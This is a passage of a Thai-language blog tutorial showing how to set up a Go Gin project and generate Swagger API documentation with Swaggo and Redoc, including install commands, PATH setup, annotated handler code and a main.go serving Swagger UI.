&#xE02;&#xE2D;&#xE07; Go</p><p><strong>&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Swaggo</strong></p><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder Project &#xE40;&#xE0A;&#xE48;&#xE19; simple_api &#xE41;&#xE25;&#xE30; File &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE15;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>simple_api
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; handler
        &#x2514;&#x2500;&#x2500; user_handler.go</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Module &#xE0A;&#xE37;&#xE48;&#xE2D; users</li></ul><pre><code>go mod init users</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-06.53.05.png" class="kg-image" alt loading="lazy" width="2000" height="1549" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-06.53.05.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-06.53.05.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-06.53.05.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-06.53.05.png 2272w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Swaggo</li></ul><pre><code>// Compile Package &#xE40;&#xE1B;&#xE47;&#xE19; Binary &#xE41;&#xE25;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE43;&#xE19; $HOME/go/bin
go install github.com/swaggo/swag/cmd/swag@latest

go get -u github.com/swaggo/gin-swagger
go get -u github.com/swaggo/files
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-06.56.11.png" class="kg-image" alt loading="lazy" width="2000" height="1549" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-06.56.11.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-06.56.11.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-06.56.11.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-06.56.11.png 2272w" sizes="(min-width: 720px) 720px"></figure><p><strong>macOS</strong></p><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; File <code>swag</code> &#xE42;&#xE14;&#xE22;&#xE1B;&#xE01;&#xE15;&#xE34; File<code>swag</code> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE43;&#xE19; Folder <code>$HOME/go/bin</code></li></ul><pre><code>ls -l $HOME/go/bin</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-07.06.51.png" class="kg-image" alt loading="lazy" width="1910" height="218" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-07.06.51.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-07.06.51.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-07.06.51.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-07.06.51.png 1910w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Folder <code>$HOME/go/bin</code> &#xE25;&#xE07;&#xE43;&#xE19; <code>$PATH</code> &#xE42;&#xE14;&#xE22;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>~/.zshrc</code> (File &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07; Zsh Shell) &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;</li></ul><pre><code>vi ~/.zshrc

//&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE19;&#xE35;&#xE49;
export PATH=$PATH:$HOME/go/bin
</code></pre><ul><li>&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01; File &#xE41;&#xE25;&#xE49;&#xE27; Reload &#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Shell</li></ul><pre><code>source ~/.zshrc
</code></pre><p><strong>Windows</strong></p><ul><li>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07; <code>$HOME\go\bin</code> &#xE42;&#xE14;&#xE22;&#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19; File Binary &#xE08;&#xE30;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; <code>C:\Users\&lt;username&gt;\go\bin</code></li><li>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; <code>$HOME\go\bin</code> &#xE25;&#xE07;&#xE43;&#xE19; Environment Variables &#xE42;&#xE14;&#xE22;</li></ul><pre><code>- &#xE40;&#xE1B;&#xE34;&#xE14; Environment Variables (&#xE01;&#xE14;&#xE1B;&#xE38;&#xE48;&#xE21; Win + S &#xE41;&#xE25;&#xE49;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; Environment Variables)
- &#xE04;&#xE25;&#xE34;&#xE01; Edit the system environment variables
- &#xE17;&#xE35;&#xE48;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE15;&#xE48;&#xE32;&#xE07; System Properties &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Environment Variables
- &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Path &#xE43;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19; User variables &#xE2B;&#xE23;&#xE37;&#xE2D; System variables (&#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE41;&#xE1A;&#xE1A;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE38;&#xE01;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;)
- &#xE04;&#xE25;&#xE34;&#xE01; Edit &#xE41;&#xE25;&#xE30;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Path $HOME\go\bin
- &#xE01;&#xE14; OK &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;
- &#xE40;&#xE1B;&#xE34;&#xE14; Command Prompt &#xE43;&#xE2B;&#xE21;&#xE48; (&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; PATH &#xE08;&#xE30;&#xE21;&#xE35;&#xE1C;&#xE25;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE34;&#xE14; Command Prompt &#xE2B;&#xE23;&#xE37;&#xE2D; PowerShell &#xE43;&#xE2B;&#xE21;&#xE48;&#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19;)</code></pre><p><strong>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;</strong></p><pre><code>swag --version
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-07.12.49.png" class="kg-image" alt loading="lazy" width="1914" height="120" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-07.12.49.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-07.12.49.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-07.12.49.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-07.12.49.png 1914w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Comment &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22; API &#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Endpoint &#xE02;&#xE2D;&#xE07; Gin Framework &#xE15;&#xE32;&#xE21;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07; Swaggo &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><figure class="kg-card kg-code-card"><pre><code>package handler

import &quot;github.com/gin-gonic/gin&quot;

type User struct {
	ID   int    `json:&quot;id&quot;`
	Name string `json:&quot;name&quot;`
}

type ErrorResponse struct {
	Message string `json:&quot;message&quot;`
}

// @Summary Get user by ID
// @Description Get details of a user by ID
// @Tags Users
// @Produce  json
// @Param   id   path      int     true  &quot;User ID&quot;
// @Success 200  {object}  User
// @Failure 404  {object}  ErrorResponse
// @Router  /users/{id} [get]
func GetUserByID(c *gin.Context) {
	id := c.Param(&quot;id&quot;)
	c.JSON(200, gin.H{&quot;id&quot;: id, &quot;name&quot;: &quot;&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;&quot;})
}
</code></pre><figcaption>user_handler.go</figcaption></figure><ul><li>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Swagger UI &#xE40;&#xE1B;&#xE47;&#xE19; Endpoint &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19; Project &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><figure class="kg-card kg-code-card"><pre><code>package main

import (
	_ &quot;users/docs&quot; // &#xE43;&#xE2B;&#xE49; Swag &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE43;&#xE19; Folder docs &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;

	&quot;users/internal/handler&quot;

	&quot;github.com/gin-gonic/gin&quot;
	swaggerFiles &quot;github.com/swaggo/files&quot;
	ginSwagger &quot;github.com/swaggo/gin-swagger&quot;
)

// @title           Simple API Example
// @version         1.0
// @description     This is a simple example of using Gin with Swagger.
// @host            localhost:8080
// @BasePath        /api/v1
func main() {
	r := gin.Default()

	// Swagger endpoint
	r.GET(&quot;/docs/*any&quot;, ginSwagger.WrapHandler(swaggerFiles.Handler))

	// User API routes
	api := r.Group(&quot;/api/v1&quot;)
	{
		api.GET(&quot;/users/:id&quot;, handler.GetUserByID) // &#xE43;&#xE0A;&#xE49; Handler &#xE08;&#xE32;&#xE01;&#xE44;&#xE1F;&#xE25;&#xE4C; user_handler.go
	}

	// Start server
	r.Run(&quot;:8080&quot;)
}
</code></pre><figcaption>main.go</figcaption></figure><p><strong>&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE07; Comment &#xE02;&#xE2D;&#xE07; Swaggo</strong></p><pre><code>- @title &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE0A;&#xE37;&#xE48;&#xE2D; Project &#xE2B;&#xE23;&#xE37;&#xE2D; API &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07; Swagger

- @version &#xE23;&#xE30;&#xE1A;&#xE38; Version &#xE02;&#xE2D;&#xE07; API &#xE2B;&#xE23;&#xE37;&#xE2D; Project

- @description &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE20;&#xE32;&#xE1E;&#xE23;&#xE27;&#xE21; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE08;&#xE38;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE07;&#xE04;&#xE4C;&#xE02;&#xE2D;&#xE07; API

- @host &#xE23;&#xE30;&#xE1A;&#xE38; hostname &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE42;&#xE14;&#xE40;&#xE21;&#xE19;&#xE02;&#xE2D;&#xE07; API &#xE17;&#xE35;&#xE48; Swagger &#xE08;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; localhost:8080 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE23;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48; port 8080

- @BasePath &#xE23;&#xE30;&#xE1A;&#xE38; Path &#xE2B;&#xE25;&#xE31;&#xE01; (Base Path) &#xE02;&#xE2D;&#xE07; API &#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE04;&#xE37;&#xE2D; &quot;/api/v1&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; API &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; prefix &#xE14;&#xE49;&#xE27;&#xE22; /api/v1 (&#xE40;&#xE0A;&#xE48;&#xE19; /api/v1/users)

- @Summary &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE2A;&#xE31;&#xE49;&#xE19; &#xE46; &#xE16;&#xE36;&#xE07;&#xE08;&#xE38;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE07;&#xE04;&#xE4C;&#xE02;&#xE2D;&#xE07; API Endpoints &#xE40;&#xE0A;&#xE48;&#xE19; Get user by ID (&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE48;&#xE2D; &#xE46; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; Swagger)

- @Description &#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE02;&#xE22;&#xE32;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE02;&#xE2D;&#xE07; API Endpoint &#xE40;&#xE0A;&#xE48;&#xE19; Get details of a user by ID (&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21; &#xE41;&#xE2A;&#xE14;&#xE07;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Endpoint)

- @Tags &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE43;&#xE2B;&#xE49; API Endpoint &#xE42;&#xE14;&#xE22; Swagger &#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; API &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Tag &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19;

- @Produce &#xE23;&#xE30;&#xE1A;&#xE38;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; (Content-Type) &#xE17;&#xE35;&#xE48; API &#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; json, xml &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46;

- @Param &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE0A;&#xE37;&#xE48;&#xE2D; Parameter &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32; (name) &#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; (path, query &#xE2B;&#xE23;&#xE37;&#xE2D; body &#xE2F;&#xE25;&#xE2F;) &#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; (int &#xE2B;&#xE23;&#xE37;&#xE2D; string &#xE2F;&#xE25;&#xE2F;) &#xE1A;&#xE31;&#xE07;&#xE04;&#xE31;&#xE1A;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; (true/false) &#xE41;&#xE25;&#xE30;&#xE04;&#xE33;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22; (&#x201C;User ID&#x201D;)

- @Success &#xE23;&#xE30;&#xE1A;&#xE38;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48; Request &#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE0B;&#xE36;&#xE48;&#xE07; {object} User &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; JSON Object &#xE42;&#xE14;&#xE22;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; object &#xE08;&#xE30;&#xE14;&#xE39;&#xE08;&#xE32;&#xE01; struct User &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE44;&#xE27;&#xE49;

- @Failure &#xE23;&#xE30;&#xE1A;&#xE38;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE42;&#xE14;&#xE22; {object} ErrorResponse &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; JSON Object &#xE42;&#xE14;&#xE22;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE43;&#xE0A;&#xE49; struct ErrorResponse

- @Router &#xE23;&#xE30;&#xE1A;&#xE38; Endpoint URL &#xE41;&#xE25;&#xE30; HTTP Method &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;</code></pre><ul><li>&#xE08;&#xE31;&#xE14;&#xE23;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE1A; Dependency &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod tidy</code></li><li>Generate &#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>swag init</code> &#xE43;&#xE19; root &#xE02;&#xE2D;&#xE07; Project</li></ul><pre><code>swag init -g cmd/main.go</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-07.53.11.png" class="kg-image" alt loading="lazy" width="2000" height="1377" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-07.53.11.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-07.53.11.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-07.53.11.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-07.53.11.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>Compile Code</li></ul><pre><code>go build cmd/main.go</code></pre><ul><li>&#xE23;&#xE31;&#xE19; Program &#xE41;&#xE25;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Swagger UI &#xE42;&#xE14;&#xE22;&#xE40;&#xE1B;&#xE34;&#xE14; Browser &#xE41;&#xE25;&#xE49;&#xE27;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; <code><a href="http://localhost:8080/docs/index.html?ref=blog.pjjop.org">http://localhost:8080/docs/index.html</a></code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE39; API Document &#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-07.58.43.png" class="kg-image" alt loading="lazy" width="2000" height="1377" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-07.58.43.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-07.58.43.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-07.58.43.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/01/Screenshot-2568-01-07-at-07.58.43.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.02.04.png" class="kg-image" alt loading="lazy" width="2000" height="2050" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-08.02.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-08.02.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-08.02.04.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.02.04.png 2388w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE22;&#xE34;&#xE07; API &#xE40;&#xE2A;&#xE49;&#xE19; <code>/users/{id}</code> &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE42;&#xE14;&#xE22;&#xE01;&#xE14; <code>Try it out</code> &#xE43;&#xE2A;&#xE48; User ID &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Execute</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.10.06.png" class="kg-image" alt loading="lazy" width="2000" height="1972" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-08.10.06.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-08.10.06.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-08.10.06.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.10.06.png 2304w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.11.09.png" class="kg-image" alt loading="lazy" width="2000" height="1972" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-08.11.09.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-08.11.09.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/01/Screenshot-2568-01-07-at-08.11.09.png 1600w, https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.11.09.png 2304w" sizes="(min-width: 720px) 720px"></figure><h2 id="%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87-api-document-%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%A2-redoc"><strong>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; API Document &#xE14;&#xE49;&#xE27;&#xE22; </strong>Redoc</h2><p>&#xE43;&#xE0A;&#xE49; Redoc &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE1A;&#xE2A;&#xE27;&#xE22;&#xE07;&#xE32;&#xE21;</p><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Folder <code>docs</code> &#xE41;&#xE25;&#xE49;&#xE27;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>redocly build-docs</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; API Document </li></ul><pre><code>redocly build-docs swagger.yaml</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/01/Screenshot-2568-01-07-at-08.23.36.png" class="kg-image" alt loading="lazy" width="2000" height="1138" srcset="https://blog.pjjop.org/content/images/size/w600/2025/01/Screenshot-2568-01-07-at-08.23.36.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/01/Screenshot-2568-01-07-at-08.23.36.png 1000w, 